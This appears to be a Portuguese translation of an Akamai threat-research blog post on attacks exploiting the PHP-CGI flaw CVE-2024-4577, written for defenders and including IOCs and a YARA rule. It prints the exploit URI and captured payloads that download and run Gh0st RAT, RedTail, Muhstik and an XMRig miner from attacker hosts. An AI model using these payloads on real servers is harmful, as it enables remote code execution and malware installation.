Explorações CVE-2024-4577 em ambiente real um dia após a divulgação
Comentários editoriais e adicionais por Tricia Howard
Resumo executivo
A SIRT (Security Intelligence Response Team, equipe de resposta de inteligência de segurança) da Akamai vem monitorando a atividade relacionada à CVE-2024-4577, uma vulnerabilidade do PHP que afeta instalações que executam o modo CGI que foi divulgado em junho de 2024.
A vulnerabilidade afeta principalmente instalações do Windows que usam localidades em chinês e japonês, mas é possível que a vulnerabilidade se aplique a uma variedade maior de instalações.
Um dia após a divulgação, a SIRT observou inúmeras tentativas de exploração de abuso dessa vulnerabilidade, indicando alta capacidade de exploração e rápida adoção por agentes de ameaça.
As explorações incluem injeção de comando e várias campanhas de malware: Gh0st RAT, criptomineradores RedTail e XMRig.
O Akamai App & API Protector está mitigando automaticamente explorações que visam nossos clientes.
Nesta publicação no blog, incluímos uma lista abrangente de indicadores de comprometimento (IOCs) para as diversas explorações que discutimos.
Introdução
O tempo desde a divulgação até a exploração diminuiu significativamente nos últimos anos. Na verdade, a maioria das atividades mal-intencionadas ocorre no primeiro mês após o patch. A partir de maio de 2024, o tempo médio de início da exploração é de aproximadamente 4 dias depois que uma vulnerabilidade é divulgada, o que quase não deixa tempo nenhum para os defensores se prepararem. Essa é apenas uma parte do ataque à vulnerabilidade; os invasores também estão continuamente abusando de vulnerabilidades de um dia (mesmo algumas que têm vários anos) para garantir que seus esforços sejam recompensados.
Um dos exemplos mais recentes desse ataque está em uma vulnerabilidade crítica descoberta em PHP (versões 8.1.*, antes da 8.1.29, 8.2.* antes da 8.2.20 e 8.3.* antes da 8.3.8). A vulnerabilidade é causada pela maneira como os manipuladores PHP e CGI analisam determinados caracteres Unicode, o que pode permitir que um invasor atinja a execução remota de código (RCE). Essa vulnerabilidade é incrivelmente simples de explorar e observamos uma grande variedade de agentes de ameaças que aproveitam a falha para atingir dispositivos vulneráveis.
Nesta publicação no blog, descreveremos algumas das tentativas que observamos de explorar essa vulnerabilidade, discutiremos seu impactos e apresentaremos os indicadores de comprometimento (COI) que coletamos.
Exploração da CVE-2024-4577
Um dos fatores para determinar a criticidade é a facilidade de exploração, e este é bem descomplicado para um agente de ameaça executar. Para chegar à execução remota de código, um invasor só precisa enviar o código PHP para o servidor e fazer com que seja (mal)interpretado.
Semelhante à CVE-2012-1823, a exploração desta vulnerabilidade é baseada no uso de php://input para incorporar o código no corpo da solicitação. No PHP, php://input é um fluxo de I/O somente leitura que permite ler dados brutos do corpo da solicitação. Uma opção comumente usada para essa exploração é o PHP auto_prepend_file, que especifica o nome de um arquivo que é analisado automaticamente antes do arquivo principal. Como o conteúdo do arquivo é analisado primeiro, ele garante que o código de um invasor seja incluído antes que qualquer outro código seja executado.
Além disso, muitos invasores optam por adicionar a opção allow_url_include, que permite a recuperação de dados de locais remotos e funções como fopen e file_get_contents.
Injeção de comandos
No modo CGI do PHP, um servidor da Web analisará solicitações HTTP e as transmitirá a um script PHP, que faz processamento adicional sobre elas. Por exemplo, strings de consulta são analisadas e passadas para o intérprete PHP através da linha de comando, portanto, uma solicitação como http://host/cgi.php?foo=bar pode ser executada como php.exe cgi.php foo=bar.
Isso abre espaço para a injeção de comandos, de modo que as entradas são limpas antes de invocar php.exe. A CVE-2024-4577 é uma falha que permite que um invasor escape da linha de comando e passe argumentos para serem interpretados diretamente pelo PHP. A vulnerabilidade em si reside na forma como os caracteres Unicode são convertidos em ASCII. A Figura 1, cortesia do artigo do watchTowr Lab sobre a CVE-2024-4577, apresenta duas invasões de php.exe – uma é mal-intencionada, a outra benigna – e ilustra a dificuldade de determinar qual é qual.
Para a leitura humana, ambos parecem iguais, mas há diferenças em como a máquina os interpreta (Figura 2). Quando você observa esses argumentos por meio de um editor hexadecimal, ele revela que a primeira solicitação usou um traço ou hífen padrão (0x2D), enquanto a segunda solicitação usou um “hífen suave” (0xAD.
As diferentes interpretações permitem que o ataque aconteça. Se um usuário passar um hífen suave a um manipulador CGI, ele não sentirá a necessidade de escape. O PHP aplica um mapeamento de melhor ajuste para o processamento Unicode e, portanto, assume que um usuário pretendia passar um hífen padrão quando, na verdade, passou um hífen suave. Ao interpretar este hífen suave como um hífen padrão, ele permite que um invasor adicione argumentos extras de linha de comando, começando com hifens, ao processo PHP para RCE.
Para completar esta explicação e ajudar você a entender, incluímos um exemplo de uma carga mal-intencionada capturada em ambiente real (Figura 3) e o comando resultante que seria executado pelo sistema host como resultado do tratamento dessa solicitação (Figura 4).
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Fig. 3: Um exemplo de solicitação mal-intencionada
php.exe -d allow_url_include -d auto_prepend_file=php://input
Fig.4: A solicitação mal-intencionada após o processamento
Documentar as tentativas de exploração
Malware Gh0st RAT
Os agentes de ameaça continuaram a tendência de tempo rápido da divulgação à exploração e foram rápidos para aproveitar essa nova vulnerabilidade. Observamos tentativas de exploração direcionadas a essa falha do PHP em nossa rede honeypot dentro de 24 horas após sua divulgação.
Uma dessas tentativas envolveu o malware Gh0st RAT (Figura 5), que é uma ferramenta de acesso remoto de código aberto que existe há mais de 15 anos. Era um executável do Windows com compactação UPX.
Content-Type: application/x-www-form-urlencoded
User-Agent: python-requests/2.22.0
URI:
/cgi-bin/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('certutil.exe -urlcache -f http://147.50.253[.]109:44119/phps.exe phpsm.exe&start phpsm.exe');?>
Endereço de IP de proxy: 23.237.182[.]122
Data: 9 de junho de 2024
Após a execução do malware em um ambiente de sandbox, ele descartou um executável adicional chamado “Iqgqosc.exe”, que também era uma compactação UPX. Ele faz a enumeração de unidades conectadas, periféricos e consulta o registro. Ela também se renomeia como “A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe”.
Ela foi passada para o servidor de comando e controle baseado na Alemanha 146.19.100[.]7 na porta 8001.
O endereço IP 147.50.253[.]109 tinha vários certificados com o nome comum (CN) “BangCloud”, que parecia estar associado a um pequeno provedor de hospedagem de servidor localizado na Tailândia. A maioria dos endereços IP associados a este CN também pertencia ao mesmo CIDR de 147.50.253[.]109 e todos foram positivos no VirusTotal para conexões com arquivos mal-intencionados. A maioria desses endereços IP também tinha hashes e nomes de arquivos sobrepostos para esses resultados. A Figura 6 mostra a impressão do MITRE ATT&CK Navigator para a amostra do Gh0st RAT fornecida.
Criptominerador RedTail
Os honeypots da SIRT também observaram uma operação de criptomineração RedTail usando CVE-2024-4577 dentro de dias da divulgação da vulnerabilidade. O invasor enviou uma solicitação semelhante às outras operações anteriores do RedTail, abusando da falha de hífen suave com “%ADd”, para executar uma solicitação wget para um script shell. Esse script faz uma solicitação de rede adicional para o mesmo endereço IP baseado na Rússia para recuperar uma versão x86 do malware de criptomineração RedTail (Figura 7).
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Linux; Linux x86_64; en-US) Gecko/20100101 Firefox/122.0
URI:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
POST DATA:
<?php shell_exec("SC=\$(wget -O- http://185.172.128[.]93/sh || curl http://185.172.128[.]93/sh); echo \"\$SC\" | sh -s cve_2024_4577"); ?>
O script shell tenta baixar o arquivo de mineração usando wget ou curl, com uma conexão TCP bruta como um método de fallback. Ele procura diretórios que a vítima atual possui que tenham permissões de leitura, gravação e execução, excluindo diretórios montados com a opção “noexec”, bem como “/tmp” e “/proc”. Ele então:
- recupera a arquitetura do sistema
- testa as permissões de gravação criando e removendo arquivos de teste
- faz o download e executa sua carga útil com base na arquitetura da vítima, renomeando o arquivo para “.redtail”
As arquiteturas presentes no script shell incluem as não aplicáveis a dispositivos Windows, que provavelmente são apenas um resultado dos agentes de ameaça que reutilizam scripts genéricos e não os personalizam para essa vulnerabilidade em específico.
Malware Muhstik
Outra campanha que está abusando dessa exploração observada em nossos honeypots foi um script shell que faz o download de uma versão do malware Muhstik (Figura 8).
User-Agent: python-requests/2.22
URI:
/?%ADd+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input
POST DATA:
<?php system('curl 86.48.2[.]49/3sh')?>;echo 1337; die;
O script shell baixa um arquivo chamado “pty3” de um endereço IP diferente, que se torna um arquivo ELF. Uma análise mais detalhada mostra que essa é provavelmente uma amostra de malware Muhstik, que já foi documentada visando a Internet das coisas e servidores Linux para fins de criptografia e negação de serviço distribuída (DDoS).
Ele exibe padrões e convenções de nomenclatura semelhantes aos casos relatados anteriormente de malware Muhstik, como “pty3”. Ele também cria vários diretórios associados ao malware Muhstik, como “/var/run/pty3”, “/dev/shm/pty3”, “/var/tmp/pty3” e “/var/lock/pty3”.
Além disso, o domínio de comando e controle para o qual ele foi chamado (p.findmeatthe[.]top) foi documentado recentemente em uma publicação separada em uma campanha de malware Muhstik, que se comunica por meio do Internet Relay Chat.
XMRig
Observamos uma quarta campanha abusando dessa exploração que envolveu o XMR Rig, que executou o seguinte comando:
URI:
/test.hello?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input
POST DATA (Base64 Encoded):
<?php $cmd=base64_decode('cG93ZXJzaGVsbCAtQ29tbWFuZCAiJHdjID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDsgJHRlbXBmaWxlID0gW1N5c3RlbS5JTy5QYXRoXTo6R2V0VGVtcEZpbGVOYW1lKCk7ICR0ZW1wZmlsZSArPSAnLmJhdCc7ICR3Yy5Eb3dubG9hZEZpbGUoJ2h0dHA6Ly9kb3dubG9hZC5jM3Bvb2wub3JnL3htcmlnX3NldHVwL3Jhdy9tYXN0ZXIvc2V0dXBfYzNwb29sX21pbmVyLmJhdCcsICR0ZW1wZmlsZSk7ICYgJHRlbXBmaWxlIDQ5dzhnc0x3N1V3VVZzelVCdFl1amROMU1jTmtvZVl1Y1RjdGFlUFg4bm1iaktBQnpKOVMxcmlnV2RoNUVpVVQxejROUEFQY2h4VDdSYUpYTjNmVVJVcE02RjZLR2p5OyBSZW1vdmUtSXRlbSAtRm9yY2UgJHRlbXBmaWxlIg==');system($cmd) ?>
POST DATA (Base64 Decoded):
powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://download.c3pool[.]org/xmrig_setup/raw/master/setup_c3pool_miner.bat', $tempfile); & $tempfile 49w8gsLw7UwUVszUBtYujdN1McNkoeYucTctaePX8nmbjKABzJ9S1rigWdh5EiUT1z4NPAPchxT7RaJXN3fURUpM6F6KGjy; Remove-Item -Force $tempfile"
O comando injetado usa o PowerShell para baixar e executar um script para ativar o XMRig de um pool de mineração remoto, seguido por uma limpeza dos arquivos temporários para ofuscação.
Mitigações
Recomendamos aplicar rapidamente as correções necessárias para organizações afetadas por essa vulnerabilidade e que estejam envolvidas no monitoramento de IOCs.
Os clientes que estão usando o Adaptive Security Engine da Akamai no modo automático e têm o grupo de ataque de injeção de comandos definido como Deny têm mitigações automaticamente ativadas contra esses tipos de ataques.
Os clientes que usam o Adaptive Security Engine no modo manual devem validar se possuem o grupo de ataque de injeção de comandos ou as seguintes regras no modo Deny. Dependendo da carga útil, uma ou mais destas regras estão atenuando esta vulnerabilidade:
- 969151 v1 — Ataque de injeção de PHP (tag de abertura)
- 959977 v1 – Ataque de injeção de PHP (substituição de configuração)
- 3000155 v1 – Ataque de injeção CMD detectado (PHP/filtro de dados detectado)
- 3000171 v3 – Tentativa de carregamento do arquivo Webshell/Backdoor
Como sempre, você deve verificar frequentemente seu console para ver se há atualizações e adições aos conjuntos de regras. Logo após a publicação das explorações, observamos uma grande quantidade de verificações que buscavam explorar essa vulnerabilidade. Assim como na maioria das vulnerabilidades com explorações públicas, a grande maioria das solicitações era de caçadores de recompensas de erros e outros verificadores. Esse tráfego foi captado e bloqueado por várias regras do Adaptive Security Engine (Figuras 9 e 10).
No entanto, nem todo o tráfego que estava procurando explorar essa vulnerabilidade se originou de caçadores de recompensas de erros. Embora o Adaptive Security Engine estivesse bloqueando essas solicitações, ele também estava executando mitigações automáticas para nossos clientes a partir das mesmas explorações mal-intencionadas observadas por nossos honeypots (Figura 11).
Além disso, houve uma exploração bloqueada pelo Adaptive Security Engine que não foi detectada por nossos honeypots. Na carga útil vista na Figura 12, um invasor estava tentando copiar um arquivo de um servidor controlado para o diretório raiz do servidor de destino. O arquivo copiado “up.txt” permitiria que o invasor carregasse quaisquer arquivos adicionais usando o ponto de extremidade “/xl.php”. O agente de ameaça pode usar isso para carregar outros arquivos mal-intencionados, como Web shells ou malware. O mais importante é que, ao criar outra maneira de carregar arquivos, o invasor pode manter o acesso mesmo depois que a correção para a CVE-2024-4577 tiver sido aplicada.
Conclusão
Entre o uso de várias ferramentas de automação e a falta de supervisão corporativa, os invasores estão se dando bem. O tempo cada vez menor que os defensores têm de se proteger após uma nova divulgação de vulnerabilidade é mais um risco crítico de segurança. Isso é especialmente verdadeiro para esta vulnerabilidade do PHP devido à sua alta capacidade de exploração e rápida adoção por agentes de ameaça.
A SIRT da Akamai continuará a monitorar e reportar ameaças como essas para promover a conscientização de nossos clientes e da comunidade de segurança em geral. Para mais pesquisas, siga-nos no X, antigo Twitter, para ficar a par do que estamos observando por aí.
Gh0st RAT
Hash SHA256
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e
Nomes de arquivos
A646ebf85afa29ae1c77458c575b5e4b0b145d813db028435d33b522edccdc0e.exe
phps.exe
Iqgqosc.exe
Endereços IPv4
147.50.253[.]109
146.19.100[.]7
23.237.182[.]122
IOCs vinculados ao BangCloud com ocorrências no VirusTotal
147.50.253[.]220
147.50.253[.]222
147.50.253[.]225
147.50.253[.]219
147.50.253[.]231
147.50.253[.]99
147.50.253[.]100
147.50.253[.]228
147.50.253[.]5
147.50.253[.]4
154.197.12[.].156
147.50.253[.]110
147.50.253[.]102
147.50.253[.]218
147.50.253[.]23
147.50.253[.]11
147.50.253[.]163
147.50.253[.]2
147.50.253[.]116
147.50.253[.]18
147.50.253[.]109
147.50.253[.]106
147.50.253[.]112
147.50.253[.]111
147.50.253[.]7
147.50.253[.]104
147.50.253[.]167
147.50.253[.]119
147.50.253[.]113
147.50.253[.]103
147.50.253[.]107
147.50.253[.]105
147.50.253[.]114
147.50.253[.]108
147.50.253[.]101
147.50.253[.]117
147.50.253[.]115
147.50.229[.]12
Técnicas do MITRE ATT&CK
T1091 – Replicação por meio de mídia removível
T1547 – Execução de inicialização ou início de sessão automático
T1056 – Captura de entrada
T1112 – Modificar registro
T1003 – Descarte de credenciais do SO
T1120 – Descoberta de dispositivos periféricos
T1027 – Arquivos ou informações ofuscados
T1071 – Protocolo da camada de aplicativo
T1082 – Descoberta de informações do sistema
T1571 – Porta não padrão
T1057 – Descoberta do processo
RedTail
Endereços IPv4
185.172.128[.]93
SHA256 hashes
2c602147c727621c5e98525466b8ea78832abe2c3de10f0b33ce9a4adea205eb
0d70a044732a77957eaaf28d9574d75da54ae430d8ad2e4049bd182e13967a6f
ab897157fdef11b267e986ef286fd44a699e3699a458d90994e020619653d2cd
9753df3ea4b9948c82310f64ff103685f78af85e3e08bb5f0d0d44047c63c315
19a06de9a8b66196fa6cc9e86824dee577e462cbeaf36d715c8fea5bcb08b54d
Nomes de arquivos
sh - Script de shell
X86_64 - Carga útil do Redtail
.redtail - Carga útil do Redtail
regras YARA
rule redtail_miner {
meta:
author = "Akamai SIRT"
date = "06/24/2024"
version = "1.0"
description = "YARA Rule for Red Tail Crypto Miner and Shell Script"
strings:
$a1 = "rm -rf .redtail"
$a2 = "mv x86_64 .redtail"
$a3 = "mv i686 .redtail"
$a4 = "mv aarch64 .redtail"
$a5 = "mv arm7 .redtail"
$a6 = "./.redtail $1 > /dev/null 2>&1"
condition:
2 of ($*)
}
Malware Muhstik
Hash do script de shell SHA256
1ae2fef05798f0f27e9de76fcef0217f282090fab1ba750623ca36b413151434
Hash SHA256 do arquivo ELF
9e28f942262805b5fb59f46568fed53fd4b7dbf6faf666bedaf6ff22dd416572
Nomes de arquivos
3sh - Script de shell
pty3 - Carga útil do Malware Muhstik
Endereços IPv4
147.139.29[.]220
86.48.2[.]49
185.201.8[.]176
194.59.165[.]52
156.67.218[.]115
Domínios
p.findmeatthe[.]top
p.deutschland-zahlung[.]eu
p.shadow-mods[.]net